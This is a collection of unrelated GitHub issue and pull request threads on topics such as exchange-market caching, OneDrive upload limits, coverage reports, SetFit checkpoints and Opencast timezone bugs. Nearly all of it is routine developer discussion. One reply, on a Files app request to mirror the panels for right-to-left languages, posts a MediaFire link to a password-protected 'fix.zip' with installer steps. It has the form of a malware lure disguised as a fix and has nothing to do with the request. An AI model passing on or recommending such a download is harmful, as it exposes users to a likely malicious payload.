Fix for https://github.com/jjxtra/ExchangeSharp/issues/120

Need to force a refresh of cached GetSymbolsMetadata if no result is found during ClampOrderPrice/Quantity

Looks pretty good. A couple suggestions:

make exchange markets variable private
make exchange markets variable a dictionary<string, exchangemarket>
make protected method to add and remove exchange markets

Let me know if that makes sense or if I am missing something in your pattern.

Maybe the add/remove method isn't needed as the populate exchange markets function takes care of it. The dictionary is just to optimize the GetExchangeMarket not having to loop all the markets.

Dictionary definitely makes sense here.
I don't think an add/remove method for exchangemarkets makes sense because callers (who aren't unit tests) should have no reason to use that.
I made exchange markets variable protected to enable unit testing and I'm hesitant to switch it back to private because that would really complicate the unit tests. How strongly do you feel about this? Can you think of a better way to have the best of both worlds?

public IReadOnlyDictionary<string, ExchangeMarket> ExchangeMarkets { get; private set; }

I think this makes the most sense. Unit tests and other future functions can read from and validate the data in the dictionary. GetSymbolsMetadata doesn't need to be changed, we can just iterate the result and build up a new dictionary in PopulateExchangeMarkets and then assign it to ExchangeMarkets
For the unit test to be most valuable, it needs to trigger the normal flow of calling PopulateExchangeMarkets, which happens in the PlaceOrderAsync API calls when the clampXXX methods are called.
This would entail mocking the response from PlaceOrderAsync, along with mocking the response from OnGetSymbolsMetadataAsync. So the JSON from both would need to be captured from the live system and then mocked in. The Poloniex unit tests show how this is done.
The unit tests would call place order, validate that a good order came back with the right price and quantity and validate that ExchangeMarkets has the expected markets in them.
As it stands now, the unit test is just stuffing a few markets into the protected variable which is not how things will work when using the PlaceOrderAsync call against the live exchanges.
I realize this is a little bit more work, and I'm happy to assist where needed, let me know what you think.
Thanks for getting the effort started.

What you're proposing is definitely possible, and it is also definitely not a unit test :). The behavior I'm ensuring is the very targeted caching and refreshing of markets when using GetExchangeMarket. The tests are ~5 lines long and very clear on what behavior is intended. (Incidentally it's also clear if I've missed scenarios or not considered something.) The fact that we have to make uncomfortable decisions here about what internal functionality to expose is a side effect of not having built this library using TDD from the start.
Like you say, I could instead get at this by calling PlaceOrder, allowing Clamp to run, mocking the response from OnGetSymbolsMetadata and finally validating ExchangeMarkets. This has the side effect of tying all these components together so the next dev can't change PlaceOrder without potentially having to rewrite the GetExchangeMarket caching logic tests. This is obviously not what we want.
In an ideal world, we'd be using Single Responsibility Principle and we'd have two sets of unit tests: One set that validates the internals of an IExchangeMarketFetcher; and a separate set that validates that IExchangeMarketFetcher is called at appropriate times. (In my professional life this is the approach I would have taken.)

Good points @bichuga. Thanks for discussing. Let's worry about just testing the public interface for now.  So that would mean just testing GetExchangeMarketFromCacheAsync, which I have promoted to a public method in the latest commit, along with proper async handling. Seems like this could be a useful function outside of order processing. I haven't made it part of IExchangeAPI yet, do you think that is necessary?
This does eliminate the need for a MockExchangeAPI  class. It does however require that we provide mock data for the symbols metadata end point. I will use your unit test as a guide and implement the unit tests. For now, the current code solves the caching problem.
Thanks for the pull request!

@bichuga I checked in code for the poloniex unit tests that add a test around the new method. Let me know if you have any feedback or suggestions for improvement.
Snippet:
        [TestMethod]
        public void GetExchangeMarketFromCache_SymbolsMetadataCacheRefreshesWhenSymbolNotFound()
        {
            var polo = CreatePoloniexAPI();

            // retrieve without BTC_BCH in the result
            polo.RequestMaker.MakeRequestAsync(null).ReturnsForAnyArgs(Resources.PoloniexGetSymbolsMetadata1);
            polo.GetExchangeMarketFromCache("XMR_LTC").Should().NotBeNull();
            polo.GetExchangeMarketFromCache("BTC_BCH").Should().BeNull();

            // now many moons later we request BTC_BCH, which wasn't in the first request but is in the latest exchange result
            polo.RequestMaker.MakeRequestAsync(null).ReturnsForAnyArgs(Resources.PoloniexGetSymbolsMetadata2);
            polo.GetExchangeMarketFromCache("BTC_BCH").Should().NotBeNull();

            // and lets make sure it doesn't return something for null and garbage symbols
            polo.GetExchangeMarketFromCache(null).Should().BeNull();
            polo.GetExchangeMarketFromCache(string.Empty).Should().BeNull();
            polo.GetExchangeMarketFromCache("324235!@^%Q@#%^").Should().BeNull();
            polo.GetExchangeMarketFromCache("NOCOIN_NORESULT").Should().BeNull();
        }


Fixed issue with file cache where stale cached file is used when the server is restarted

Fixed issue with file cache where stale cached file is used when the server is restarted.

Coverage decreased (-0.004%) to 88.3% when pulling 6b7936cf6594858cf035e97edbe7e2bdd4d5d81a on ajoymajumdar:develop into 3b704d362a70a226d5ef90af8896714d231aa8cb on Netflix:develop.

Coverage decreased (-0.004%) to 88.3% when pulling b4fb1b16040c1630ce4eec4806d7fdf8530120a3 on ajoymajumdar:develop into 6518175d91b837e64eed5f68e00f0bf2d2200d25 on Netflix:develop.

Coverage increased (+0.03%) to 88.335% when pulling b4fb1b16040c1630ce4eec4806d7fdf8530120a3 on ajoymajumdar:develop into 6518175d91b837e64eed5f68e00f0bf2d2200d25 on Netflix:develop.


What is the limitation of large file size @upload @ODB

I use the resume upload request to upload large file 10GB
But when i going to commit the upload session
it returns
http code (500),
error message (An unspecified error has occurred.),
error code (generalException)

But I succeed with smaller file (9GB and 8GB)
And document seems not to mention this restriction about the largest file size
https://dev.onedrive.com/items/upload_large_files.htm
And how about the file size restriction  @ODP
thank you for help!

Limits for OneDrive for Business are documented here: https://support.microsoft.com/en-us/help/3125202/restrictions-and-limitations-when-you-sync-files-and-folders-using-the-new-onedrive-for-business-sync-client


Fix RuntimeError

The current Code would've thrown a RuntimeError

Thanks for the submission
Unfortunately, the code in metro is actually correct and new syntax introduced in python 3.10
This is as per the minimum requirements of this codebase
As such, this cannot be merged at this time.


Something went wrong while creating project

I tried to create a new project and it gave me this error:
Something went wrong while creating project
RuntimeException - Couldn't read resource 'gradle.properties'
Is it a known issue?

Ok, this was an error with the .gitignore. It is fixed now. You can run the fixed editor version from master like that:
$ git clone https://github.com/bladecoder/bladecoder-adventure-engine.git
$ cd bladecoder-adventure-engine
$ ./gradlew adventure-editor:run
Regards.

fixed in v0.9.2


Update index.en-US.md

[中文版模板 / Chinese template]
🤔 This is a ...

[ ] New feature
[ ] Bug fix
[ ] Site / documentation update
[ ] Demo update
[ ] Component style update
[ ] TypeScript definition update
[ ] Bundle size optimization
[ ] Performance optimization
[ ] Enhancement feature
[ ] Internationalization
[ ] Refactoring
[ ] Code style optimization
[ ] Test Case
[ ] Branch merge
[ ] Other (about what?)

🔗 Related issue link

💡 Background and solution

📝 Changelog

Language
Changelog

🇺🇸 English

🇨🇳 Chinese

☑ Self Check before Merge
⚠ Please check all items below before review. ⚠

[ ] Doc is updated/provided or not needed
[ ] Demo is updated/provided or not needed
[ ] TypeScript definition is updated/provided or not needed
[ ] Changelog is provided or not needed

Codecov Report

Merging #4 (0f32645) into master (dd83e86) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master       #4   +/-   ##
=======================================
  Coverage   99.98%   99.98%
=======================================
  Files         394      394
  Lines        7480     7480
  Branches     2106     2106
=======================================
  Hits         7479     7479
  Misses          1        1

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update dd83e86...0f32645. Read the comment docs.


Show StudentId in StudentListPanel

For cases where there are multiple students with same exact names, they are indistinguishable in the UI unless "view" is called.

Resolved in new GUI


How to get controls into toolbox

Hello,
this is the first time I download a library from CodePlex and sadly I can't find any info on how to get the controls into my toolbox in Visual Studio Community 2015. Could you give me a hint on how this is done?
Help is greatly apreciated!
Thanks!
Originally posted: 2015-12-01T07:13:05

I personally think the better way to use this library is to install the VSIX in the downloads section. This will add items to the "Add | New Item..." project menu that will add new wizard forms to your project. If you want to add the items to the toolbox, follow the instructions at http://stackoverflow.com/questions/3446431/adding-custom-controls-dll-to-visual-studio-toolbox
Originally posted: 2015-12-03T08:57:52

Originally posted: 2015-12-03T09:00:01


Adding Environment Variables

Fixes https://github.com/CircuitVerse/CircuitVerse/issues/538
GCI TASK
Describe the changes you have made in this pr -

Added an example .env file so that user can configure it and can add environment variables both in local environment and gitpod.

@ShreyaPrasad1209  Have a look

I guess this is cool! do add the Screenshots for everything as well.

Done @ShreyaPrasad1209 !

Awesome


Tan 1551

Make sure to use the same prettier config as @dkuppitz did. Sync with him on this. We don't want to introduce cosmetic changes every time someone else is doing the commit

Fixed.


minDate doesn't work with calender+timepicker at the same time

Hello Shahab
First of all thank you for the great package, it helped a lot.
I have an issue with minDate when I'm using calender with timepicker, our minDate={new Date().getTime() + 14400000}.
It works perfectly fine with calender but with calender and timepicker it doesn't.
As you can see I can't choose previous days but for timepicker I can choose previous minutes and hours.
Any idea why it behaves like this? thank you.

had the same issue, I want to add minDate/maxDate for TImePicker

i want too :(


Any guide regarding how to build it?

/**
     * Listens the volume key long-presses.
     * @hide
     */
    @SystemApi
    public interface OnVolumeKeyLongPressListener {
        /**
         * Called when the volume key is long-pressed.
         * <p>This will be called for both down and up events.
         */
        void onVolumeKeyLongPress(KeyEvent event);
    }

That interface is hidden inside the MediaSessionManager and thus I can't manage to build this app inside the android studio. Is there a way to build that stuff easily?

Check the gradle version and make sure you are using the hidden-api
android-hidden-api - Issue 46

Also check out this README section


Switch right an left panels

What feature or improvement do you think would benefit Files?
can you flip the navigations panel to the right when switching to arabic language because it is a right to left language please thanks.
Requirements

This proposal will accomplish X
This proposal will accomplish Y
This proposal will accomplish Z

Files Version
<IP_ADDRESS>
Windows Version
10.0.19045.4780
Comments
No response

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@XTorLukas can you confirm that this will be resolved with the work you're currently doing?


Error: invalid character 'H' looking for beginning of value

To produce this bug, just follow the doc in the website.
When I run the command deta run, the response returns error:
Running micro...

Response:
Error: invalid character 'H' looking for beginning of value

index.js file is:
const { app } = require('deta');

app.lib.run((event) => {
  return {
    message: event.json,
  };
});

module.exports = app;

nvm version: 0.34.0
node version: v13.8.0
npm version: 7.0.2

Hi,
I can't seem to replicate the issue on my end.
Would you mind sharing the version of your cli by running:
deta version
If the version is not deta v1.1.2-beta x86_64-darwin could you try running deta version upgrade and then deta run again?

Cannot reproduce this error


tune power supply compensation

#5: retuned DC-DC for 1200khz, lower ripple and better derating on inductor

I made a calculator for the TP54360, maybe it will be useful.
https://docs.google.com/spreadsheets/d/1jEzKwsjBqaTznz5cs5TbF8ZhpgKVj5wWJlGPP70hs7M/edit?usp=sharing
The circuit as is should work.

Using the spreadsheet calculator above. I put in your 1.2MHz frequency and have the following suggestions:

Change L to 4.7 uH, with ESR <= 25 mohm
add 22 + 0.1 uF output caps to current 47 uF. Max ESR <= 17 mohm
change R11 to 7k, C7 to 22n, C6 to 150p

Will check against webench next.

My assumption on the output current was off. Given this correction the values line up better. Something is up with my freq comp calcs, so let's just ignore that and move on.


Default of value of dynamodb.use-periodic-tables changed

It went from true to false in #463

Fixed by setting explicitly in config https://github.com/weaveworks/service-conf/issues/938

So should the default be to not have periodic tables? IIRC it performs
badly?
On Wed, 19 Jul 2017, 16:29 Aaron Kirkbride<EMAIL_ADDRESS>wrote:

Fixed by setting explicitly in config weaveworks/service-conf#938
https://github.com/weaveworks/service-conf/pull/938
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/weaveworks/cortex/issues/489#issuecomment-316424217,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AADMko5YlUaeMnejRaUomw4DJ99jFCKXks5sPiDQgaJpZM4OP4Fo
.


chimerax_script_colab.py should create a separate model for the quality score

This is now implemented and documented. The user needs to provide the argument -mode both to the chimerax script. After testing this can be made the default behavior. It may be better to not do this for larger structures.


Update Dockerfile

After creating your pull request, tick these boxes if they are applicable to you.

[x] I have tested my changes against the review branch (the latest developmental version), and this pull request is targeting that branch as a base
[x] I have tested my changes on Python 3.5.3 or higher

Description
Update the Dockerfile to work with an Alpine linux v3.11 base image.
The Dockerfile is using python3.8.2-r0. This can be changed to 3.7.5-r1 by using Alpine linux v3.10 as base (the current master branch doesn't work with python 3.8).
The Dockerfile is also restructured to allow better caching when the requirements.txt is not updated.
Related issues (if applicable)

Thank you for the submission


block for onConnected dropdown not correct

See https://microsoft.github.io/jacdac-docs/clients/makecode/extensions/lightlevel/
Notice the JavaScript code is

But the block rendering shows 'logger' in the 'onConnected' block

Weird….

From: Tom Ball @.>
Sent: Wednesday, September 22, 2021 7:10:11 PM
To: microsoft/jacdac @.>
Cc: Peli de Halleux @.>; Assign @.>
Subject: Re: [microsoft/jacdac] block for onConnect not correctly rendered (#668)
Assigned #668https://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fmicrosoft%2Fjacdac%2Fissues%2F668&data=04|01|jhalleux%40microsoft.com|c8b58cf9b9914279f32908d97e374633|72f988bf86f141af91ab2d7cd011db47|1|0|637679598133590693|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|1000&sdata=Qb6ezm8Bwjz7MJ2Ky08fEY7GL2QkbqNoWwekpDJfSU4%3D&reserved=0 to @pelikhanhttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fpelikhan&data=04|01|jhalleux%40microsoft.com|c8b58cf9b9914279f32908d97e374633|72f988bf86f141af91ab2d7cd011db47|1|0|637679598133590693|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|1000&sdata=rL7kU385t8oUL1xprrcWu7oKu8pZ303RJP8H2feqhCc%3D&reserved=0.
—
You are receiving this because you were assigned.
Reply to this email directly, view it on GitHubhttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fmicrosoft%2Fjacdac%2Fissues%2F668%23event-5346906540&data=04|01|jhalleux%40microsoft.com|c8b58cf9b9914279f32908d97e374633|72f988bf86f141af91ab2d7cd011db47|1|0|637679598133600684|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|1000&sdata=lkObQ8B76rsuHUeizBwnnZADRvC0dxdeLrtNnpQZOdw%3D&reserved=0, or unsubscribehttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FAA73QKJG5OA5DTU6HAPW5JLUDKEAHANCNFSM5ESUNJNQ&data=04|01|jhalleux%40microsoft.com|c8b58cf9b9914279f32908d97e374633|72f988bf86f141af91ab2d7cd011db47|1|0|637679598133610679|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|1000&sdata=H2vjDd%2B5Q7YJs0hujze%2FUDpXq7WBs3z9C%2FCeU3R%2BcBM%3D&reserved=0.

Note: light level works great with. Plotbargraph

This is some obscure bug. Looks like the list of fixedInstances is not populated correctly.

My hunch is this is a tricky one so we'll have to maybe do something else for those onConnected callbacks.

it's fine when loaded into the editor.

Yes something very weird

From: Tom Ball @.>
Sent: Thursday, September 23, 2021 12:04:56 AM
To: microsoft/jacdac @.>
Cc: Peli de Halleux @.>; Mention @.>
Subject: Re: [microsoft/jacdac] block for onConnected dropdown not correct (#668)
it's fine when loaded into the editor.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fmicrosoft%2Fjacdac%2Fissues%2F668%23issuecomment-925553957&data=04|01|jhalleux%40microsoft.com|73be36d075f14ff31cc908d97e60736b|72f988bf86f141af91ab2d7cd011db47|1|0|637679774990537334|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|1000&sdata=pabfZTIAs%2BMtDCOjDDUMP54hEWdozXVSgUBMIXJJdA0%3D&reserved=0, or unsubscribehttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FAA73QKLKAUXBJCOMN6C5C2TUDLGRRANCNFSM5ESUNJNQ&data=04|01|jhalleux%40microsoft.com|73be36d075f14ff31cc908d97e60736b|72f988bf86f141af91ab2d7cd011db47|1|0|637679774990547326|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|1000&sdata=q0oIGLENPNd1pLFOy8H59dcQk1oRizdlIvLuxGX9E4c%3D&reserved=0.

This won't be fixed for the hack.

@tballmsft take a screenshot if needed for now.


Explicitly mentions Semantic Versioning

My observation is this portalocker library is already using Semantic Versioning. If that is the case, shall we explicitly mention it in the README?
And, I hope this PR will also update the portalocker docs.

Coverage remained the same at 100.0% when pulling a89f21a17c93bfdb0b28b57c868bddfaf3b3f64a on rayluo:patch-2 into 0f420c8e0b533471754c40b561a350df13bef50f on WoLpH:develop.


New Theme Suite

Brand New Theme Suite!

Introducing Mistress's Menagerie

A collection themes based off of various characters of anthropomorphized species

6 Light and Dark Themes to choose from.

Updated Light Monika's look to be less "Holy cow, green!".

Enhanced plugin's first usage user experience.

Re-Branded Plugin

Updated Plugin Icon
Changed Plugin name to "The Doki-Doki Theme"
Same themes as before!

Improved Material UI Integration Support

Now when switching between Doki-Doki themes and Material UI Themes, the chibi will disappear.

[ ] Works on Windows

[ ] Works on MacOS


check expected grpc error

@hzxuzhonghu: The following test failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

test_ztunnel
f3b5d35fcdacbbb46209a66e283be550757a4ec4
link
true
/test test

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

This looks like it fixes https://github.com/istio/ztunnel/issues/400?

@hzxuzhonghu This looks like it fixes https://github.com/istio/ztunnel/issues/400?

Yes


--server

This appears to take --server, not --server-name now.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 4d84bcc6-6274-7c1b-3394-c8be820ec786
Version Independent ID: 67fc9ae8-4e2b-f58b-fde9-0c3f5ab8a24d
Content: az sql server conn-policy
Content Source: src/command_modules/azure-cli-sql/azure/cli/command_modules/sql/_help.py
Service: sql-database
GitHub Login: @rloutlaw
Microsoft Alias: routlaw

This has been fixed.


Add support for React 17 & 18

Simple fix to allow installation to react 17 and 18

Just saw that #32 is pretty much the same thing and closed in favor of a new release coming up removing the peerDependancies entirely.


[bug]: macOS scroll bar obscures buttons

Is there an existing issue for this problem?

[X] I have searched the existing issues

Operating system
macOS
GPU vendor
Apple Silicon (MPS)
GPU model
M1
GPU VRAM
16GB
Version number
4.2
Browser
Safari
Python dependencies
No response
What happened
When downloading models the stupid hidden by default macOS scrollbar shows up when scrolling and obscures some of the buttons. It's annoying when your pointer happens to be on top of the scroll bar and you want to click the button instead of scroll. See screenshot.

What you expected to happen
Click button and download file.
How to reproduce the problem
No response
Additional context
No response
Discord username
No response

Actually, it's not the macOS scrollbar, it's the overlay scrollbar library. If you stop scrolling for a moment, it should hide and you can click the buttons.

Same thing happens in the Settings panel. I think it should stay here, but removed from there. It can be annoying there.


Model checkpoints saved during the training are unusable

Step 1: Train a model:
model_name = "sentence-transformers/paraphrase-multilingual-MiniLM-L12-v2"
model = SetFitModel.from_pretrained(
    model_name,
    multi_target_strategy="multi-output",
    use_differentiable_head=True,
    head_params={"out_features": len(id2label)},
)

args = TrainingArguments(
    output_dir=MODEL_DIR,
    batch_size=32,
    num_epochs=20,
    evaluation_strategy='epoch',
    save_strategy='epoch',
    save_total_limit=4,
    sampling_strategy='unique',
)
args.eval_strategy = args.evaluation_strategy

trainer = Trainer(
    model=model,
    args=args,
    train_dataset=dataset["train"],
    eval_dataset=dataset["validation"],
    metric=batch_multi_label_metric,
)
trainer.train()

Step 2: Save the model explicitly. The examples in docs always do it, but there's no clear communication that this is absolutely necessary and, in fact, the only way to use the model later:
model.save_pretrained(MODEL_DIR / "explicit_save")

Step 3: Try to load from the latest checkpoint
checkpoint_model = SetFitModel.from_pretrained(
    MODEL_DIR / "step_26560",
)

Without any warning, this model will not perform well, because the classifier (head) weights have not been loaded or even saved in the first place. If we compare this model's head with the one we saved explicitly, the difference is obvious:
explicit_model = SetFitModel.from_pretrained(
    MODEL_DIR / "explicit_save",
)

checkpoint_head_weights = next(checkpoint_model.model_head.named_parameters())[1]
explicit_head_weights = next(explicit_model.model_head.named_parameters())[1]

fig1 = px.line(checkpoint_head_weights.detach().numpy().ravel())
fig2 = px.line(explicit_head_weights.detach().numpy().ravel())

So if I didn't mess something up, my proposal would be to ether make this behavior clear to the user, or better to fix it so that the checkpoints would be usable.

+1, I am wondering how the intermediate model checkpoints are supposed to be used. They are saved during the fine-tuning, not during the classification phase of training. Thus, I'm interpreting they need to have their classifier trained afterward?

@n-splv If you are interested in using these checkpoints, the workaround for me was to actually train the classifier head ("filling in" the missing logic from Trainer.train())
model = SetFitModel.from_pretrained(<checkpoint>)
trainer = Trainer(
    args=args,
    model=model,
    ...
)
train_parameters = trainer.dataset_to_parameters(trainer.train_dataset)
trainer.train_classifier(*train_parameters, args=trainer.args)


NTR: control eligibility check

Editor preferred term: control eligibility check
Textual definition: Planned process that consists in checking the eligibility of an organism to function as a control organism in a case-control study design.
Definition source: EuPath team
Proposed parent: planned process
Example of usage:
Submitted by: EuPath team

Consensus is it belongs in OBI. Will add to OBI.


Fixes to compile with clang 9.01 on android

Thank you for the patch!
I'm surprised GCC let me use the wrong enum name in the switches. Seems it allows that so long as the values match up.

Also surprised I can pass this instead of true and gcc does not warn with -Wall (at least the version I am using)


Fix code scanning alert - Regular expression injection

Tracking issue for:

[ ] https://github.com/masutaka/masutaka-feed/security/code-scanning/1
[ ] https://github.com/masutaka/masutaka-feed/security/code-scanning/2

These environment variables are set by me and do not need to be fixed:
https://github.com/masutaka/masutaka-feed/blob/f6afbc1b738644c64c7baeb78a7deb8926bf6c90/github/index.js#L17-L18


added the github action workflow for CI

What type of PR is this?
/kind enhancement
What this PR does / why we need it:
This PR adds the GitHub action workflow to build the SODA Dashboard CI to check against PRs
We may need to setup actions at the organisation level and have different runners and setups based on the dependencies for each repository.
Which issue(s) this PR fixes:

Fixes #
Test Report Added?:
/kind TESTED
Test Report:
I have tested this on my fork.
you can check the action here
Special notes for your reviewer:

@kumarashit @skdwriting
Closing this for now. Will reopen if we decide to move to Github Actions


Consider avoiding macros

Select your issue type: (check at least one)

[ ] Bug
[ ] Question
[x] Suggestion
[ ] Other (please describe):

Describe your issue:
Hi,
These are another codestyle suggestions:
THREAD_SAFE_AREA macro is really ugly, why not to use QMutexLocker? Do we really need always tryLock? Anyway RAII can do the job in both cases.
CONSTRUCT() macros is also very strange, why don't you use just a function?
Ways to Reproduce the issue (optional):
Look into the sources :-)

Also if we require for Qt >= 5.10 there is a nice way to replace QUEUED_CALL_FUNC* macroses:
with QMetaObject::invokeMethod:
QMetaObject::invokeMethod(obj, []{ ... });

Regarding CONSTRUCT(), you can call some private function from the constructor, that would do all those connect(...) calls.

There is another option to use new c++11 signal/slot syntax:
QTimer::singleShot(0, _pDeltaRevisioner, []{ ... });

@technic I've reduced the use of macro's drastically on https://github.com/antony-jr/AppImageUpdaterBridge/commit/79e92ddecdaf182d8dc0abae557997c70b315f88 , this will be closed after merge.

I don't see it in those commit, but anyway it was a big refactoring :)
If you want my opinion I think the code is much cleaner now.
BTW I think your getMethod function cat take just QObject* as a first argument.

BTW I think your getMethod function cat take just QObject* as a first argument.

@technic I've made that change too in a recent commit.


Vulkan multisampling

Enabling multisampling for vulkan.
Pipeline caching modified with sampleCount parameter.
Made vkImage parameterized for specifying tiling
GearVRf-DCO-1.0-Signed-off-by: Abhijit Jagdale<EMAIL_ADDRESS>

Who is going to review and verify this?

I will do testing on this. Code looks okay to me.

verified it with polyline and meshanimation sample. Good to go.

Planning to merge on Monday


Update intros.md

Added my information

@Kvaibhav01 please reposition your details and also, change the s.no

@rahulkumaran done.

@Kvaibhav01 still some issues.
Could you pull the changes again? Will merge your PR next so that no conflicts arise.

@rahulkumaran done


8/KPSR: Init KP Security Recommendations

/cc @Slash32 @akokhanovskyi

I am merging this so it won't get stalled again.


JBDS-4238 Install on mac OS to /Application/DevelopmentSuite

Current coverage is 78.34% (diff: 100%)

No coverage report found for 1.2.x at c1af72d.

Powered by Codecov. Last update c1af72d...40d80bd


MH-12177 TimeZone non-threadsafe issue in scheduler-api, scheduler-impl

This fixes the scheduler-impl unit test TimeZone issues with the Util's create periods method.
This includes a  first-Sunday-after-DST-time-change-within-a-period fix that is partially described in the link in the code comment.
@gregorydlogan feel free to take and improve!

Hi @gregorydlogan This pull doesn't address the TimeZone setting activity in the index service unit tests. They don't fail for me and they don't impact a running Opencast.
There is plenty to clean up on this pull. But, a big one is to consider moving the scheduler-impl UtilTest to the scheduler-api module where it belongs since the Util was moved there in an earlier pull.

The CI with the unit test shows the extra hour on fallback and  missing hour on spring forward SUNDAY in the DST time change, which is helpful. I'm going to add more junits  and attempt to finesse that SUNDAY fix .
[ERROR] calculateDSTSpringForwardChange(org.opencastproject.scheduler.impl.UtilTests)  Time elapsed: 0.184 s  <<< FAILURE!
java.lang.AssertionError: expected:<0> but was:<23>
	at org.opencastproject.scheduler.impl.UtilTests.doDSTChangeOverTest(UtilTests.java:163)
	at org.opencastproject.scheduler.impl.UtilTests.calculateDSTSpringForwardChange(UtilTests.java:113)

[ERROR] calculateDSTFallBackChange(org.opencastproject.scheduler.impl.UtilTests)  Time elapsed: 0.275 s  <<< FAILURE!
java.lang.AssertionError: expected:<0> but was:<1>
	at org.opencastproject.scheduler.impl.UtilTests.doDSTChangeOverTest(UtilTests.java:163)
	at org.opencastproject.scheduler.impl.UtilTests.calculateDSTFallBackChange(UtilTests.java:131)

@karendolan Worthy of note: You reference the upstream github, but our version of ical4j dates back to the original funded Matterhorn project, and is actually a patched branch of 1.0.2 or something.  I'll file a PR against the DCE repo to fix that, among other things if I spot any.

Sounds good @karendolan.  I'll wait for that push and rebase my changes against it.

Can this be targeted at 5.x rather than develop? It is an ongoing issue that affects production systems, and Opencast's scheduling and conflict detection is not trustworthy without this fix. 6.x is too late.

@smarquard IIRC TimeZone.setDefault code actually came from 4.x, so I'm hoping to target it there and merge it forward.

The setDefault code has been in use since 2.x, but it's probably not feasible to target at earlier than 4.x.

@gregorydlogan I did not yet have a chance to test the pull with Date assumptions made in the admin-UI. I suspect, but have not , that there may be assumptions of dates coming in as UTC vs the time designated by the TZ param (if one is passed) or local TZ (if a TZ param is not passed). When the dates eventually go into a recurrence, they need to be correctly adjusted and associated to the TZ in order for the ical4j algorithms to work.
It may be possible to do more work on this pull to allow inbound UTC dates and then convert them to the TZ of choice before performing ical4j calculations. I tried this and it got complex quickly. For example, if the inbound "day" to schedule is MON, and the code takes the hour-of-day to start the event at 11pm, and the TZ is UTC-3, every time that Date is assessed for hour-of-day or day-of-week, or day-of-month, it needs protection to ensure it's converted into TZ first. The TZ day-of-week, day-of-month is one behind the the UTC day-of-week, day-of-month. The ical4j, joda time, java.time Date and DateTime classes are not as compatible as one would think. Using "Calendar" and "GeorgianCalendar" to wrap Date in a TZ context helps to make schedule related work less hazardous.

@karendolan @gregorydlogan What is supposed to happen here? Is this on hold currently?

@KatrinIhler little to no progress.  The underlying library has an issue, and it's quite a complex piece of code.  Since no one else is complaining here I'd say this is on hold until I can find a resolution.

@gregorydlogan Hi, meanwhile I'll rebase this onto latest develop.

Hi Karen
Can you reach out to the folks in that thread and coordinate? It sounds
like Duncan is working on something that will either conflict or be
helpful.
G
On Tue, Dec 4, 2018, 08:15 Karen Dolan<EMAIL_ADDRESS>wrote:

Hi, based on the recent dev list "[OC Dev] Tips for debug build errors"
thread and MH-13264. I'm doing a quick revisit of the goal behind this pull
using the latest r/6.x, related libs, and current Opencast internal &
external timezone/UTC viewpoints (based on list emails and 6x pulls).
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/opencast/opencast/pull/189#issuecomment-444114259,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AFYNiYAWx7RVgCuS3RQ0jaLg3STBQmdPks5u1oOLgaJpZM4TSpbq
.

Closing this pull request in favor of updated pull at https://github.com/opencast/opencast/pull/604
I am unable to reproduce the UTC/non-DST timeZone issues that @gregorydlogan discovered in the underlying ical4j library using pull #604. Possibly, because a TZ object is always passed to the recurrence rule via #604 and is not being passed in the existing code.


Support Engineering User's Integration Point variables via Subset Controls

Engineering users have variables with multiple integration points. The way to think about these is that they are multi-valued variables. For example, if you have a pressure variable over all zones of a mesh, its like having, in each zone a slew of different values for pressure. Each value is computed at a slightly different position within the zone but nonetheless interpreted as the zonal value. Another way to think about these in VisIt parlance may be as array variables. Though, as I understand Chad, only one among the numerous possible values is ever used at any one time and that is different from a VisIt array variable which is kind of a VisIt vector variable on steriods. There are two groups of integration points; all those actually computed by the application and those actually written to the Mili database for visualization. We call these all integration points and available integration points. Typically, Engineering users only ever look at one of the available integration points at a time. Each integration point is like a normal VisIt variable. Its like a mutually exclusive set of variables only one of which can ever be displayed. Do Engineering users ever want to see multiple different integration points in the same plot (e.g. maybe several curve plots derived from different integration points)? The answer would effect whether subset controls (proposed below) is a suitable approach. We could treat each integration point as a sub-menu variable. So, if pressure has 5 integration points labeled 1,3,4,8,17, the plugin's PopMD method would define "pressure/ips/1", "pressure/ips/3", "pressure/ips/4", "pressure/ips/8", "pressure/ips/17". That is certainly the easiest way to think about them. However, with large numbers of integration points, this approach quickly becomes unwieldy. And, in any event, we still loose track of representing for the user the notion of all integration points. It would be better to add support for this via 